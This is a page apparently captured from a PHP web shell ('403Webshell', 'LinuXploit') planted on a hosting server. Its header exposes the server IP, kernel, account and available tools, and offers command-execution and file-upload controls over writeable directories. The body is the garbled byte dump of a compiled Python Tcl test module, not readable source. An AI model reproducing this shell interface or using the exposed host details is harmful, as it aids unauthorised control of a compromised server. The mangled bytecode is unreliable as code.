403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.230
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_tcl.cpython-36.pyc
3

x2_�s�
@sddlZddlZddlZddlZddlZddlmZejd�Zddl	Z	ddl	m
Z
ddlmZyddlm
Z
mZWnek
r�ejZ
ZYnXeeeejjd���Zdadd	�ZGd
d�dej�ZGdd
�d
ej�ZGdd�dej�Zdd�Zdd�Zedk�r
e�dS)�N)�support�_tkinter)�Tcl)�TclError)�INT_MAX�PY_SSIZE_T_MAX�.cCs�tdkr�t�}|jdd�}tjd|�}|j�\}}}}t|�t|�t|�}}}dddd�|}|dkrz||||dfan||d||fatS)	N�info�
patchlevelz(\d+)\.(\d+)([ab.])(\d+)ZalphaZbeta�final)�a�brr)�_tk_patchlevelr�call�re�	fullmatch�groups�int)�tclr
�m�major�minor�releaselevel�serial�r�2/opt/alt/python36/lib64/python3.6/test/test_tcl.py�get_tk_patchlevelsrc@seZdZdd�ZdS)�TkinterTestcCs|jttjd�dS)NT)�assertRaises�	TypeErrorrZ_flatten)�selfrrr�testFlattenLen)szTkinterTest.testFlattenLenN)�__name__�
__module__�__qualname__r!rrrrr'src@sfeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zejejd3kd4�d5d6��Z d7d8�Z!d9d:�Z"d;d<�Z#d=d>�Z$eje%dUkdA�dBdC��Z&dDdE�Z'dFdG�Z(dHdI�Z)dJdK�Z*dLdM�Z+dNdO�Z,dPdQ�Z-dRdS�Z.dTS)V�TclTestcCst�|_|jjj�|_dS)N)r�interp�tk�wantobjects)r rrr�setUp0sz
TclTest.setUpcCs&|j}|jd�|j|jd�d�dS)Nzset a 1zset a�1)r&�eval�assertEqual)r rrrr�testEval4s
zTclTest.testEvalcCs|j}|j|jd�d�dS)Nzset a "a\0b"zab)r&r,r+)r rrrr�test_eval_null_in_result9sz TclTest.test_eval_null_in_resultcCs|j}|jt|jd�dS)Nzset a)r&rrr+)r rrrr�testEvalException=szTclTest.testEvalExceptioncCs|j}|jt|jd�dS)Nz
this is wrong)r&rrr+)r rrrr�testEvalException2AszTclTest.testEvalException2cCs,|j}|jddd�|j|jdd�d�dS)N�setrr*)r&rr,)r rrrr�testCallEszTclTest.testCallcCs|j}|jt|jdd�dS)Nr1r)r&rrr)r rrrr�testCallExceptionJszTclTest.testCallExceptioncCs|j}|jt|jddd�dS)N�this�isZwrong)r&rrr)r rrrr�testCallException2NszTclTest.testCallException2cCs(|j}|jdd�|j|jd�d�dS)Nrr*zset a)r&�setvarr,r+)r rrrr�
testSetVarRszTclTest.testSetVarcCs(|j}|jdd�|j|jd�d�dS)Nza(1)r*zset a(1))r&r7r,r+)r rrrr�testSetVarArrayWszTclTest.testSetVarArraycCs&|j}|jd�|j|jd�d�dS)Nzset a 1rr*)r&r+r,�getvar)r rrrr�
testGetVar\s
zTclTest.testGetVarcCs&|j}|jd�|j|jd�d�dS)Nz
set a(1) 1za(1)r*)r&r+r,r:)r rrrr�testGetVarArrayas
zTclTest.testGetVarArraycCs|j}|jt|jd�dS)Nr)r&rrr:)r rrrr�testGetVarExceptionfszTclTest.testGetVarExceptioncCs|j}|jt|jd�dS)Nza(1))r&rrr:)r rrrr�testGetVarArrayExceptionjsz TclTest.testGetVarArrayExceptioncCsD|j}|jdd�|j|jd�d�|jd�|j|jd�d�dS)Nr�z
info exists ar*�0)r&r7r,r+�unsetvar)r rrrr�testUnsetVarns

zTclTest.testUnsetVarcCst|j}|jdd�|jdd�|j|jd�d�|j|jd�d�|jd�|j|jd�d�|j|jd�d�dS)	Nza(1)r?za(2)�zinfo exists a(1)r*zinfo exists a(2)r@)r&r7r,r+rA)r rrrr�testUnsetVarArrayus
zTclTest.testUnsetVarArraycCs|j}|jt|jd�dS)Nr)r&rrrA)r rrrr�testUnsetVarExceptionszTclTest.testUnsetVarExceptionc
CsFd}t�dks(dt�ko"dknrB|dddd
dd
f7}|S) Nrr?rC��?��r�i����l��l���li����l�����l���)	rr?rKrLrMrNrOrPrQ)rHrIrr)rHrJrH)rHrIlll����l����)r)r Zintegersrrr�get_integers�s

zTclTest.get_integerscCs4|jj}xx|j�D]l}|j|jd|�|�tdkrJ|j|jd|�|�|j|jd|jdd��|�|j|jd|�|�qWtdkr�|jt|jt	dd	��|j|jd
�d
�|jt
|j�|jt
|jdd�|jt
|jd
�|jt
|jd�|jt|jd�|jt
ttf|jd�|jtttf|jd�dS)Nz %d rHrJz %#o �o�z %#x rCi��*Z42�10s42gE@rz42u42�)rHrJ)rHrJ)
r&r'rRr,�getint�tcl_version�replacerr�strr�
ValueError�UnicodeEncodeError)r r�irrr�test_getint�s&
zTclTest.test_getintcCs�|jj}|j|jd�d�|j|jd�d�|j|jd�d�|j|jd�d�|jt|j�|jt|jdd�|jt|jd�|jt|jd	�|jtttf|jd
�|jtttf|jd�dS)Nz 42 gE@z 42.5 g@E@rUz42.5rVs42.5rz42.5u42.5�)	r&r'r,�	getdoublerrrr[r\)r rrrr�test_getdouble�s
zTclTest.test_getdoublecCs�|jj}|j|jd�d�|j|jd�d�|j|jd�d�|j|jd�d�|jt|j�|jt|jdd�|jt|jd�|jt|jd�|jt|jd	�|jtttf|jd
�|jtttf|jd�dS)N�onTr*rUrFsong�?rzonuon�)	r&r'ZassertIs�
getbooleanrrrr[r\)r rrrr�test_getboolean�s
zTclTest.test_getbooleanc
Cs~|j}ttjd�� }|jtjtj�|jd�WdQRX|jtj�|j|j	d�d�|j|j	d�d�|j|j	d�d�dS)	N�wzKset a 1
            set b 2
            set c [ expr $a + $b ]
            zset ar*zset b�2zset c�3)
r&�openr�TESTFN�
addCleanup�unlink�write�evalfiler,r+)r r�frrr�testEvalFile�szTclTest.testEvalFilec
Csl|j}ttjd�� }|jtjtj�|jd�WdQRX|jtj�|j|j	d�d�|j|j	d�d�dS)Nrdz>
            set a "ab"
            set b "a\0b"
            zset azabzset b)
r&rgrrhrirjrkrlr,r+)r rrmrrr�test_evalfile_null_in_result�sz$TclTest.test_evalfile_null_in_resultcCsP|j}d}ytj|�Wn"tk
r:}zWYdd}~XnX|jt|j|�dS)NZ
doesnotexists)r&�os�remove�	Exceptionrrrl)r r�filename�errr�testEvalFileException�szTclTest.testEvalFileExceptioncCs|j}|jt|jd�dS)Nzpackage require DNE)r&rrr+)r rrrr�testPackageRequireException�sz#TclTest.testPackageRequireExceptionZwin32zRequires WindowscCs�tjjtj�}|ddkr$tjd��dtjd|d|dd�f}tjj|�sZtjd��t	j
�� }|jd	�tj
|d
dg�}WdQRX|jd|�dS)
Nr?�:z$Absolute path should have drive partz\\%s\%s$\%sZCOMPUTERNAMEr�zCannot connect to UNC PathZTCL_LIBRARYz-czimport tkinter; print(tkinter)stkinter)rp�path�abspath�sys�
executable�unittestZSkipTest�environ�existsrZEnvironmentVarGuardZunset�
subprocessZcheck_output�assertIn)r �fullnameZunc_name�env�stdoutrrr�testLoadWithUNC�s




zTclTest.testLoadWithUNCcsJ�j��jddd��jddd���fdd�}�jt�j��jt�jdd	��jt�jd
��jt�jd�|dd
�|dd�|dd�|dd�|dd�|dd
�|dd
�|dd�|dd�|dd�|dd�|dd �|d!d�|d"d#�|d$d#�|d%d&�|d'd(�|d)d(�|d*d+�td1k�rF|d.td2��dS)3Nr1rrxr
rIcs&�j|�}�j||��j|t�dS)N)�
exprstringr,�assertIsInstancerZ)�expr�expected�result)r rrr�check�s
z&TclTest.test_exprstring.<locals>.checkz8.2z+6s8.2 + 6�spamrTr@z8.2 + 6z14.2z3.1 + $az6.1z2 + "$a.$b"z5.6z4*[llength "6 2"]�8z{word one} < "word $a"z4*2 < 7zhypot($a, 4)z5.0z5 / 4r*z5 / 4.0z1.25z$5 / ( [string length "abcd"] + 0.0 )z20.0/5.0z4.0z"0x03" > "2"u[string length "a½€"]rfz[string length "a\xbd\u20ac"]z"abc"�abcu"a½€"ua½€z
"a\xbd\u20ac"z"a\0b"zabrHrJz2**64rC�@)rHrJl)r&rrrr�rrXrZ)r r�r)r rr�test_exprstring�s:



















zTclTest.test_exprstringcs2�j��jddd��jddd���fdd�}�jt�j��jt�jdd	��jt�jd
��jt�jd�|dd
�|dd�|dd�|dd�|dd�|dd
�|dd
�|dd�|dd�|dd�|dd�|dd �|d!d�|d"d#�|d$d#��jt�jd%�td+k�r.|d(td,��dS)-Nr1rrxr
rIcs&�j|�}�j||��j|t�dS)N)�
exprdoubler,r��float)r�r�r�)r rrrr�"s
z&TclTest.test_exprdouble.<locals>.checkz8.2z+6s8.2 + 6r�rTgz8.2 + 6gffffff,@z3.1 + $agffffff@z2 + "$a.$b"gffffff@z4*[llength "6 2"]g @z{word one} < "word $a"z4*2 < 7zhypot($a, 4)g@z5 / 4g�?z5 / 4.0g�?z$5 / ( [string length "abcd"] + 0.0 )z20.0/5.0g@z"0x03" > "2"u[string length "a½€"]g@z[string length "a\xbd\u20ac"]z"abc"rHrJz2**64rCr�)rHrJl)r&rrrr�rrXr�)r r�r)r rr�test_exprdoubles4















zTclTest.test_exprdoublecs4�j��jddd��jddd���fdd�}�jt�j��jt�jdd	��jt�jd
��jt�jd�|dd
�|dd�|dd�|dd�|dd�|dd
�|dd
�|dd�|dd�|dd�|dd�|dd�|dd�|dd�|d d��jt�jd!�td#k�r0�jt�jd"�dS)$Nr1rrxr
rIcs&�j|�}�j||��j|t�dS)N)�exprlongr,r�r)r�r�r�)r rrrr�Bs
z$TclTest.test_exprlong.<locals>.checkz8.2z+6s8.2 + 6r�rTrz8.2 + 6�z3.1 + $az2 + "$a.$b"rJz4*[llength "6 2"]rHz{word one} < "word $a"z4*2 < 7zhypot($a, 4)z5 / 4r?z5 / 4.0z$5 / ( [string length "abcd"] + 0.0 )z20.0/5.0�z"0x03" > "2"u[string length "a½€"]z[string length "a\xbd\u20ac"]z"abc"z2**64)rHrJ)r&rrrr�rrX)r r�r)r rr�
test_exprlong>s4















zTclTest.test_exprlongcs��j��jddd��jddd���fdd�}�jt�j��jt�jdd	��jt�jd
��jt�jd�|dd
�x2d+D]*}||d
�|d|d
�|d|d
�q�Wx2d,D]*}||d�|d|d�|d|d�q�W|dd�|dd�|dd�|dd�|dd
�|dd
�|dd�|d d�|d!d�|d"d�|d#d�|d$d�|d%d�|d&d��jt�jd'�td-k�r�|d*d�dS).Nr1rrxr
rIcs2�j|�}�j||��j|t��j|t�dS)N)�exprbooleanr,r�rZassertNotIsInstance�bool)r�r�r�)r rrrr�bs
z'TclTest.test_exprboolean.<locals>.checkz8.2z+6s8.2 + 6r�rTFr@�false�no�offz"%s"z{%s}r*�true�yesraTz8.2 + 6z3.1 + $az2 + "$a.$b"z4*[llength "6 2"]z{word one} < "word $a"z4*2 < 7zhypot($a, 4)z5 / 4z5 / 4.0z$5 / ( [string length "abcd"] + 0.0 )z20.0/5.0z"0x03" > "2"u[string length "a½€"]z[string length "a\xbd\u20ac"]z"abc"rHrJz2**64)r@r�r�r�)r*r�r�ra)rHrJ)r&rrrr�rrX)r r��valuer)r rr�test_exprboolean^sD



















zTclTest.test_exprbooleanrHrJzrequires Tcl version >= 8.5csh�j���fdd�}|dd�|dd�|dd�|dd�|d	d�|d
d�|dd�|dd�dS)
NcsV�jd|�}�j�r.�j||��j|t�n$�j||tt|��f��j|t�dS)Nr�)rr(r,r�rr�rZ)r�r�r�)r rrrr��sz$TclTest.test_booleans.<locals>.checkr�Tr�rar�Fr�r�z1 < 2z1 > 2)r&)r r�r)r rr�
test_booleans�s






zTclTest.test_booleanscCs�|j}x\|j�D]P}|jdt|��}|jrD|j||�|j|t�q|j|t|��|j|t�qWtdkr�|j	t
|jdtdd��dS)Nr�rHrJrCi�)rHrJ)r&rRrrZr(r,r�rrXrr)r rr]r�rrr�test_expr_bignum�szTclTest.test_expr_bignumcsn�fdd�}�j|d��jr dnd��j|d��jr:dnd��j|d�d��j|d�d��j|d	�d	��j|d
�d
��j|d�d��j|d��jr�dnd	��j|d
��jr�d
nd��j|d��jr�dnd�x0�j�D]$}�j||��j�r|nt|��q�Wtd"k�r6�j|dd�tdd��x`ddd#d$tjjtjjtjjtjjfD]4}�j�r~�j||�|�n�jt	||��|��q`W�j�r�|t	d��}�j
||��j|t	d��t	d���j|t	d��t	d��n<�jt	|t	d���t	d���jt	|t	d���t	d���j|d&��j�r@d(nd��j|ddd gg��j�rdd*nd!�dS)+Ncs�jjdd|�S)Nr1�_)r&r)r�)r rr�	passValue�sz.TclTest.test_passing_values.<locals>.passValueTr*Fr@�stringu	string€zstringu	string½u
string€sstringsstr��ingu
strÀ€ingsstr�ingustr½ingrHrJrCi�gg�?r?rx�nan�infre�333333@z1 2 3.4rr
�cza {b c})rHrJg�gUUUUUU�?�r�)r?rer��r�)r?rer��r
r�)rr�)r,r(rRrZrXr{�
float_info�min�maxr�ZassertNotEqual)r r�r]rmr)r r�test_passing_values�sF


$

 
zTclTest.test_passing_valuescs�d��fdd�}�jjd|��j�jjjd�d+�jd���fdd�}�fdd�}|d	d
�|dd�|d
�|d�|d�|d�|dd
�|dd�|dd�|dd�|d�|d�|d�|dd�|dd�|dd�x�j�D]}||t|��q�Wtd,k�r&|d d!td d!��xd.D]}||t	|���q,Wx8d/t
jjt
jj
t
jjt
jj
fD]}|||d��qhW|td&�|d�|td&�|d�|fd�|d$d0d1d)ffd*�|d$d gd'd(gd)ggd*�dS)2Ncs|�|S)Nr)�arg)r�rr�testfunc�sz+TclTest.test_user_command.<locals>.testfuncr�)�eqcsN|dkr|}d��jjd|�}�j�t�|�|��j|t�|||�dS)Nr�)r&rr�rZ)r�r�r��r)r�r rrr��s
z(TclTest.test_user_command.<locals>.checkcs �jt|�|t|�dd�dS)Ng�����|�=)Zdelta)ZassertAlmostEqualr��abs)Zactualr�)r rr�float_eq�sz+TclTest.test_user_command.<locals>.float_eqTr*Fr@r�ustring½u	string€rTsstrings	string€ustring€sstring��zstringu	string½u
string€sstringsstr��ingu
strÀ€ingsstr��ing€ustrÀ€ing€rHrJrCi����?r?g@r�rxr�z5 6z1 2 {3 4} {5 6} {})N)rHrJ��)r�r�r�gUUUUUU�?)rC)rxr�)r&�
createcommandrir'�
deletecommandr,rRrZrX�reprr{r�r�r�r�)r r�r�r�r]rmr)r�r r�test_user_command�sH












zTclTest.test_user_commandc	Cs>|jjj}|jjj}|jt|�|jt|dd�|jt|d�d'dffd)d+d-d/d1d3d5d7d9d<d>dAdCdFfffgffddd	ggddd	gff|ddddG�|j�r�dIndJfg}t�}tdKk�r�|j�s�|dLk�r�dM}ndO}||d!d"ddd dP�|fg7}d#|jt|f}x,|D]$\}}|j	||�|d$||f��qW|jt
|d%�dS)QNrr
rCrerT�{}�""�
a
 b	
 c
 r��
a
 b	
 c
 �a €�€�a €�	a��b c��d�ab�cd�a {b c}�b c�a b\ c�a 2�a 3.4�3.4�333333@�listr?r*rHrJ�12�€��€�dict�createz4want objects? %s, Tcl version: %s, Tk patchlevel: %sz
arg=%a, %s�{�re)rer��rT)r�r��rT)r�r��rr
r�)r�r��rr
r�)r�r��rr�)r�r��rr�)r�r��r�r�)r�r��rr�)r�r��rr�)r�r��rr��rr�)r�r��rre)r�r��rrC�rrC)r�r��rr�)r�r��rr��rr�)r�r�)r��r�)r?rer�)r*rer�)rHrJ)rHrJrJ)r�r�r�r��r�)r�r�r�r�)r�)r&r'�	splitlistrrrr(rrXr,r)	r r�r�	testcasesZ
tk_patchlevelr�Zdbg_infor��resrrr�test_splitlistsR



zTclTest.test_splitlistcCs|jjj}|jjj}|jt|�|jt|dd�|jt|d�d)d*d+d,d-d/d1d3d5d6d8d9d<d?dCdGdIdLdNdQdVfffgffddgdXfddd
ggdZf|dddd[�|j�r�d]nd^fg}td_k�r�|j�s�t�d`k�r�da}ndc}||d&d'd$d
d%dd�|fg7}x&|D]\}}|j	||�||d(��q�WdS)eNrr
rCrerT�{}�""r��
a
 b	
 c
 r��
a
 b	
 c
 �a €�€�a €�a��b�ab�	a��b c��d�cd�
{a��b c��d�{ab cd�a {b c}�a b\ c�b c�b c�a 2�a 3.4�3.4�333333@r�r?r*rHrJr��€r��€r�r�)�msg)rere)rTrT)r�rT)r�rT)r�r��rr
r�)r�r�rr
r�)r�r	�rr�)r�r
�rr�)r�r)r�r��r�r�)r�r)r�r��r
r��rr
)r�r�r
r��rr)r�r�rr��r
r��rr)rr�rr�r
r��rr)rr�rre)rr�rrC�rrC)rr�rr)rr�rr�rr)rr�rCr�rr�rCr�rr)rr �r
r�)rr!�r
r�)rr")r�r)r?rer#)r*rer)rHrJ)rHrJrJ)r�r�rr�r)r�r�rr$)r)
r&r'�splitrrrr(rXrr,)r r%rr�r�r�r�rrr�
test_split8sT




zTclTest.test_splitc	CsDtj}|jj}d}|j|||d�dddd��|j|||�dddd��d}|j|||d�dddd��|j|||�dddd��|jt||d�|jt||d�|jdddddd
f�}|j|||�|jr�dndddd��t	dk�r@|jddddddd
f�}|j�st
�d k�r"dddd�}nd!ddd�}|j|||�|�dS)"Nz#-a {1 2 3} -something foo status {}Fz1 2 3�foorT)z-az
-something�status)rZ	somethingr(�-ar?rCrx�
-somethingr(�{}z-a b -c r
�-cr�rHrJr�r��r?rCrx)r)r-r*r'r(r+)r?rCrx)r?rCrx)r)r
r,)r?rCrx)r?rCrx)rHrJ)r?rCrx)rHrJrJ)r?rCrx)�tkinterZ
_splitdictr&r'r,r�RuntimeErrorrr(rXr)r Z	splitdictrr�r�rrr�test_splitdictis4
zTclTest.test_splitdictcs�tj��jj��fdd�����fdd�}|d�|d�|d�|d�|d	�|d
�|d�|d�|d
�|d�|d�|d�|d�|d�|d�|d�|d�|d�|d�|d�|d�|d�|d�|d�dS)Ncs�jd|d�S)NZlindexr)r)�s)rrr�unpack�sz!TclTest.test_join.<locals>.unpackcs��j��|g��|��j��|dg��|��j���|gg���|��j���|dgg���|��j���|gdg���|��j���|dgdg���|�dS)Nr)r,)r�)�joinr r2rrr��sz TclTest.test_join.<locals>.checkrTr�zsp amzsp	amzsp
amz 	
z{spam}z{sp am}z"spam"z"sp am"z{"spam"}z"{spam}"zsp\amz"sp\am"z	"{}" "{}"z"\z"{z"}z
\z
{z
}z\
z{
z}
)r.Z_joinr&r')r r�r)r3r rr2r�	test_join�s8zTclTest.test_joincCs|jttj�dS)N)rrrZTcl_Obj)r rrr�test_new_tcl_obj�szTclTest.test_new_tcl_objN)rHrJ)/r"r#r$r)r-r.r/r0r2r3r6r8r9r;r<r=r>rBrDrErRr^r`rcrnrorurvr}�
skipUnlessr{�platformr�r�r�r�r�rXr�r�r�r�r�r&r0r4r5rrrrr%.sN

	#  )
*601#%r%c@s�eZdZdd�Zejejee	kd�ej
edddd�dd	����Zejejee	kd�ej
edd
dd�dd����Zejejee	kd�ej
edd
dd�dd����Z
dS)�
BigmemTclTestcCst�|_dS)N)rr&)r rrrr)�szBigmemTclTest.setUpzneeds UINT_MAX < SIZE_MAXr?rJF)�sizeZmemuseZdry_runcCs$d|}|jt|jjdd|d�dS)N� r��indexr)r�
OverflowErrorr&r)r r9r�rrr�test_huge_string_call�sz#BigmemTclTest.test_huge_string_callrCcCsT|jj}dd|}|jt|j|�|jt|j|�|jt|j|�|jt|j|�|jt|j|�|jt|j	|�|jt|j
|�|jt|j|dd�|jt|jd|d�|jt|j|�|jt|jd|�|jt|j
|�|jt|j
|�|jt|j|�|jt|j|�|jt|j|�|jt|j|�|jt|j|t�|jt|j|�dS)Nr*r:�xr)r&r'rr<rWr_rbr+rl�recordZadderrorinfor7rAr�r�r�r�r%r�r�r�)r r9r'r�rrr�test_huge_string_builtins�s*z'BigmemTclTest.test_huge_string_builtinsrIcCsJ|jj}dd|}|jt|j|�|jt|j|�|jt|jd|�dS)Nr*r:r>)r&r'rr<rlrA)r r9r'r�rrr�test_huge_string_builtins2�s
z(BigmemTclTest.test_huge_string_builtins2N)r"r#r$r)rZcpython_onlyr}r6rrZ
bigmemtestr=r@rArrrrr8�s  r8cCs"tjrt�}td|jdd��dS)Nzpatchlevel =r	r
)r�verboser�printr)rrrr�setUpModule�srDcCstjttt�dS)N)rZrun_unittestr%rr8rrrr�	test_main�srE�__main__) r}rr�r{rpZtestr�
import_modulerr.rrZ	_testcapirr�ImportError�maxsize�tuple�maprZTCL_VERSIONr%rXrrZTestCaserr%r8rDrEr"rrrr�<module>s8
2


Youez - 2016 - github.com/yon3zu
LinuXploit